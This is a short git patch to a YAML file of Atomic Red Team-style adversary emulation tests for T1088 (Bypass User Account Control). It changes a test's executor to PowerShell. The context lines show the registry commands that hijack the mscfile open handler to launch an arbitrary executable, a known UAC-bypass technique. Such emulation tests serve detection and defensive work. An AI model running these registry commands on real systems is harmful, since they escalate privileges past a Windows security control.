From edc66092e330b4b0e2d3062788016c1445bcf856 Mon Sep 17 00:00:00 2001 From: Marc Date: Tue, 17 Sep 2019 18:44:36 +0200 Subject: [PATCH] Executor in Atomic Test #2 changed to Powershell (#504) The specified test doesn't work in command_prompt. --- atomics/T1088/T1088.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1088/T1088.yaml b/atomics/T1088/T1088.yaml index 4e8b420b..4d47917e 100644 --- a/atomics/T1088/T1088.yaml +++ b/atomics/T1088/T1088.yaml @@ -36,7 +36,7 @@ atomic_tests: default: C:\Windows\System32\cmd.exe executor: - name: command_prompt + name: powershell command: | New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force